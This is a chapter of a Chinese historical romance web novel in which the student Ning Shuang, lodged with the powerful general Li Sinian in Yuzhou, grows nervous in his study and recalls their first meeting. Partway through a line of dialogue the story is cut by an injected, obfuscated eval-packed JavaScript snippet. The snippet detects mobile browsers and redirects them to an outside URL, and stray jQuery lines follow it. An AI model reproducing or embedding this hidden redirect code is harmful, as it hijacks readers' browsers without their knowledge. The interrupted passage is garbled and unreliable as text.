九月的禹州之夜，一望无际的夜空中悬着一枚冷月。


    白日里刮了风，满院落了枯叶，不过，宅子里的下人都很用心清扫，此时，满庭院里清清爽爽，落了一地幽幽静静的月光。


    五进的宅子。


    地处禹州中心，背抵禹州府府衙，是一处安静且彰显着富贵冷肃的所在。


    据说，这宅子原本是作为接待长陵皇族莅临禹州的行宫。在禹州这样地价以千金论计的地儿，能进出这样的院子，那是身份地位的象征。


    “怎么没和崔云她们去戏院看戏？


    李斯年神情平静，越过作为隔断的博古架，拐入书桌后，淡然落座。


    宁霜抬眸，入目是一身白衫的他，鼻翼间掠过些许凉意，很显然他是刚从衙府回来。


    她有些紧张地捏紧了帕子，“我怕吵，不怎么喜欢看戏……”


    她这趟禹州之行，本来是奔着公事与游玩一起的。


    公事是替着锦绣苑取回在禹州订购的布料。


    游玩则是同表哥谢恒一起的。


    表哥临时有事，她想一个人留在客栈里等他，可表哥不依，非说这里民风彪悍，坏人多，他不放心，执意将她送到李斯年这边，还说，多年朋友，他信他。


    但与李斯年，宁霜着实不熟，拢共没见过几次，还都是跟在谢恒身边时。


    所以，谢恒几天不见踪影，她住在这里，与李斯年朝暮相对，总有些难以明说的尴尬。


    李斯年扫了一眼她，澄澈的眸子里，分明染了愁绪。


    谢恒去而忘返的缘故他是知晓的。


    可他非是小人，强取豪夺的事儿他不屑去做。


    宁霜也不多话。


    安静地在看一本绣册，绣册是她随身带的，已经翻阅数百遍，烂熟于心了。


    静默一旁的幕宾孙重彬犹豫再三还是开了口，“将军，吏部那边，对书院整治势在必行，张尚书几次请您去，您真不去吗？”


    “书院整顿与史上焚书坑儒有何疑？找我无非是想要拉个撑腰平事儿的！他哪里看出我长了副菩萨心肠？”


    李斯年说话总是云淡风轻的，但其神情与语气却自带一种世家勋贵骨子里的矜贵与气势，这是先天具有的，后天是怎么修炼都修不来的。


    宁霜曾见过他教训禹州府的一位官员。


    那官员在禹州防汛的处理上甚是不当，却又暗戳戳认为李斯年这等在勋贵世家里长起来的矜贵公子，即便身居高位，也不可能熟知汛务，抱着欺上瞒下的心思，结果三言两语就给李斯年抓到了错处，将案上的砚台都砸了过去，直斥他是禹州城十万百姓的祸害！


    临了，那官员被当场罢官不说，还重责了八十板子，打得半死丢出去。


    孙重彬眼神闪烁，试图再劝。


    李斯年不疾不徐地在案卷上写批注，瞥他一眼。


    孙重彬骇得冷汗涔涔，当即施礼退出。


    不过几个神态举止，宁霜就感受到来自他身上的那种唯我独尊的凌然霸气，后脊梁微微冒冷意，她忙收回全部心思，专注到那些书上。


    又有一位外地官员求见。


    这位官员好像是某地封疆大吏，但与李斯年见后也是一派肃然，言谈举止间并没有丝毫的托大。


    李斯年也神情平和，说话虽还是简而又简，但语气却是客客气气的。


    胃部隐痛，她一手按住腹部。


    一手悄悄从一旁小几上的点心中捏了一块菊花酥，塞入口中。


    胡乱嚼了几下，还没仔细地品味出菊花清冽的香与甜，她就被噎着了。


    咳咳咳！


    一阵实在是压制不住的咳嗽就那么突兀地回响在安静的屋子里，她又是难受又是难堪，就像是偷吃的小贼被人抓现行一般。


    “喝点水？慢点吃。”


    他递过来一杯水，茶杯被他扣在宽大的掌心，竟无丝毫违和感，因为用力，修长的手指，指节泛出青白色，骨节蓄力，手背上隐隐显出丝丝缕缕的青筋。


    宁霜几口喝光了茶水，压下了口中之食。


    咳嗽也戛然而止。


    她的脸颊却绯红了，讷讷道，“谢谢将军。”


    声音软糯糯的，落在人耳中，很有点羞怯的嗲音，有点类似于拿了柔软的鹅毛，轻轻于人的心上拂过，看似不刻意，却实实在在地令人感受到熨帖与甜糯，舒畅到人的心坎里了。


    李斯年微怔，后视线落在她脸上。


    宁霜愈发觉得双颊灼灼，手足无措。


    好在他并没有质问她是不是热，不然怎么脸颊那么烧红？


    他只是将点心向她推了推，顺手又给她倒了一杯茶。


    “不用拘束，喜欢就多吃点。”


    声线一如既往的冷清淡漠，透着适宜的疏离。


    大庸国民风开化，男女已经可以同席而坐，同行出游，关系熟稔的男女相处是没太多的局限的。


    但宁霜还是尽量避免与他距离太近。


    说不上为什么，就是觉得他这样身份的人于她就是天上的谪仙，如他珍藏的那些孤本书，只能远观而不可亵玩焉！


    九月的夜晚，已经有些凉意。


    屋里烧着炭盆，所以很暖和。


    李斯年此时穿着一件云锦丝缎制成的白衫，腰间的玉带恰好地勾勒出他挺拔伟岸的身躯。


    这人着披风大氅时瞧着如斯斯文文的矜贵公子似的，却不料身材坚实硬朗，宽肩窄腰，举止之间气势万钧，蕴含着力度，不凡的气质与超常的桀骜皆非是一般世家公子身上所具有的。


    那日，李斯年曾带着一众人去巡查汛务，见她孤孤单单一个人，就顺便把她也带上了。


    禹州是大庸国排名前五的城池。


    又因之与几个外域小国毗邻，所以，城里各色人等都有，很多外域小国将这里当成是与大庸国生意往来的中转站。


    禹州城的经济也因此发展得十分昌盛。


    但禹州也有缺点。


    那就是防汛问题。


    几百年的老城，在防汛上已然处于一个定型的状态，延续几百年，后人能做的也就是在雨季来临之前，在原有的防汛上做些加固，并无法做到彻底整治禹州汛务的隐患。


    这次李斯年受命来禹州，重中之重的要务就是找出彻底改变禹州汛务的关键，在来年汛期到达时，修造新的防汛工程。


    李斯年为首，一帮人在防汛大坝起点就下了马车，一路步行，沿着蜿蜒数十里的大坝缓步而行。


    近乎从早上走到中午，这一趟巡查大坝事务才算结束。


    宁霜累得双腿都坠了铅石般沉重，可看看李斯年，却跟什么事儿都没有一样，依旧是边走边观看防汛大坝，时不时还言简意赅地给众官员指出某处防汛的缺失。


    宁霜忍着腿疼，竭力跟在他身后。


    实在是跟不上时，李斯年瞥见也会放缓脚步等等，并不催促，脾气难得的好。


    后来宁霜才从他的贴身随从李旭的嘴里得知，他三岁习武，十四岁就领了一万人去边疆真刀真枪地与外敌厮杀，曾有三千人伏击大捷敌军一万人的以少胜多战绩，因此他在十六岁就被当今圣上封为振国大将军，是大庸国史上最年轻的小将军，威名赫赫。


    李旭很是傲娇地说，我们将军打仗时一人独对数十悍敌都不惧，走点路怕什么？


    “在这里住得惯吗？”


    他端起茶杯，呷了一口，淡淡然问。


    他的外貌总给人冷傲，不近人情之感。此刻面对面，茶香袅袅，倒是掩去了他几分冷峻与傲慢，看着竟似邻家长兄般平和近人。


    宁霜迟疑须臾，她在猜度他问这话的意思，是关心？还是催促她离开？


    她垂落眼帘，盯着茶杯中浮浮沉沉的叶片，“……还好。”


    “住得好就好。”


    他嘴角难得浮出一抹笑意，“谢恒总说这宅子守着禹州府衙，与地牢只一墙之隔，给人冷森森之感，不如望月巷那边繁华热闹。”


    李斯年长着一张冰山脸，面部线条棱角分明，一双深邃的眸子，气势逼人，板着脸时，胆敢与之对视的人，少之又少。


    太过强势霸道。


    可当他唇角淡出笑意时，却又是莫名的俊朗。


    那眸子里仿佛浸了万千星辰般，深邃又熠熠，任人瞧过一眼，便深陷其中，无法自拔。


    谈及表哥谢恒，宁霜心里微微泛起一层不满。


    几日了，他将自己寄放在李斯年处，倒也放心！


    是以，她只是笑笑，并没有接了话茬。


    本来她与李斯年就不熟。


    见过他两三次，时间大抵是在一年前。


    那次谢恒带她去秋猎。


    是在皇家围猎场。


    白天四大家族的公子们策马围猎，个个兴致勃勃，收获颇丰。


    晚间就在猎场，燃起篝火，烧烤饮酒。


    李斯年一个人坐在一侧，有一口没一口地喝着酒，神情淡漠，那些人似乎也避开他，不搭理他，与他格格不入的样子。


    宁霜以为他是哪个勋贵公子的门下幕宾，与自己一样跟这帮傲气吧啦的公子哥们不熟，所以就胆大地凑过去，跟他说，“不用尴尬，就当他们那样的人不存在，你饿不饿？我帮你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143263|164588||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去烤些东西来吃吧？”


    当时的李斯年是斜睨着她的，眼角眉梢中竟带了些许邪魅的笑意，但他并没有说话。


    谢恒找过来，把宁霜拉到身后，尬笑着跟李斯年介绍，“这是我表妹宁霜，还在锦绣书院读书，见的世面少，说话不知轻重，你别恼她！”


    他依旧没说话，只点点头，示意谢恒带宁霜走。


    后来宁霜才从别人口中知道他的出身。


    当时就被吓出一身冷汗，后知后觉地想到，如果那日他心情不好，真恼了她，那她可能真的就生死未卜了。


    那日离开，谢恒送她回书院的路上，谈及李斯年。


    谢恒又很严肃地嘱咐她，以后再见到李斯年万万不可口出不逊，他非是一般人，不是宁霜这样的小姑娘能靠近的。


    宁霜撇嘴，“不就是世家公子？你不也是世家的？他难道比你还厉害？”


    谢恒冷笑，“你可别拿我跟他比，他那人看着与人为善，甚好相与，真发起疯来，禽兽不如！”


    宁霜惊，“是花花公子？”


    谢恒摇头，想说点什么，但可能又觉得跟宁霜这样年纪的小姑娘说太多她也不理解，索性只交代了一句，“你记住以后离他远远的就行。”


    如今，他倒是忘记了一年前嘱咐她的话，亲手把她送到了李斯年的身边了。


    宁霜彻底知晓李斯年真实身份时，还是切切实实地被惊出一身冷汗的。


    他的父亲是一人之下万人之上的人物。


    母亲是大庸国大长公主，当今一母同胞的亲妹妹。


    至于他自己，十六岁的振国将军，如今的锦衣卫指挥使，他哪里是融不进那些勋贵公子中，而是他不屑与他们一起闹腾，即便他冷冷清清地居于一隅，他也是中心，那些公子也根本不是不搭理他，而是不敢轻易主动去招惹他，但他们不管说话还是办事，都会以他为尊，对他的态度更是毕恭毕敬，唯恐一句话一个眼神得罪了他，那将是大祸临头的前奏。


    宁霜很后悔。


    她那日的言行落在李斯年眼里，无异于小丑。


    他怎么可能是与她一样的人？


    她的出身卑微导致她始终无法融入谢恒的圈子，而他矜贵的出身却让他始终凌驾于他们那个圈子之上！


    与他的父亲一样，他也是高高在上，睥睨天下的主儿。


    气氛一时陷入难堪的沉默。


    至少在宁霜的感觉是如此的。


    李斯年沉默着端起茶喝了一口，随后将茶杯放下，目光这才看向她，“在锦绣书院都学些什么？”


    宁霜有点紧张，感受堪比书院最严厉的教女红的万玥嬷嬷拷问她女红针法，她蹙着眉心，咬着唇，但却不敢不答，“诗书礼仪，琴棋书画都学了一些。”


    她手心都出汗了，总觉得他一直在打量自己，那深邃暗沉的眸子似乎要将她给吞没了一般。


    她怕他。


    这种惧怕也是与生俱来的，对身份高于自己的人的一种妄图逃避的本能应激反应。


    她不得不又喝了一口茶。


    茶水已然凉了，入口甚是苦涩。


    她不由地皱起秀眉，孩子气地瘪了瘪嘴。


    李斯年瞧着就无声地笑了。


    再开口，声音没了戾气，倒多了几分亲和，“很苦？吃块点心？”


    都是问句，语气也平和，却带着不容人拒绝的霸道。


    这就是上位者的气势。


    饶是态度平和，语气平和，脸上带着笑意，与生俱来的那种迫人的锋芒还是时时存在的。


    宁霜小声道，“茶很好，就是……我不怎么喝茶。”


    一个乡下来的书院女学生，平常功课够多，何况她还跟红姨在锦绣苑做事，每日里都是书院与锦绣苑两边跑，动辄还要出门去外地为锦绣苑跑腿儿，哪儿有时间与闲情去品香茗？


    茶，甚至是茶具，都是他从长陵带过来的。


    旁人若是如此做，有人可能会鄙夷地撇嘴，说一句，装什么大尾巴狼，走哪儿还得带着茶叶和茶具？


    但在他，却是再正常不过的行为。


    他的出行，随行马车就七八辆，只其中一辆给他坐，其余都是用来装他日常起居所用之物。


    含着金汤匙出生的人物，打小金尊玉贵般的长大，再豪奢的举止，对他们来说，也不过如寻常饮水吃饭般简单随意。


    宁霜在这一刻，彻底懂了她三年来再怎么随着谢恒参与他们的圈子，都无法融入的缘故。


    唉！


    她在心里轻轻叹了一声，总觉得此行表哥谢恒的行为很是有些诡异。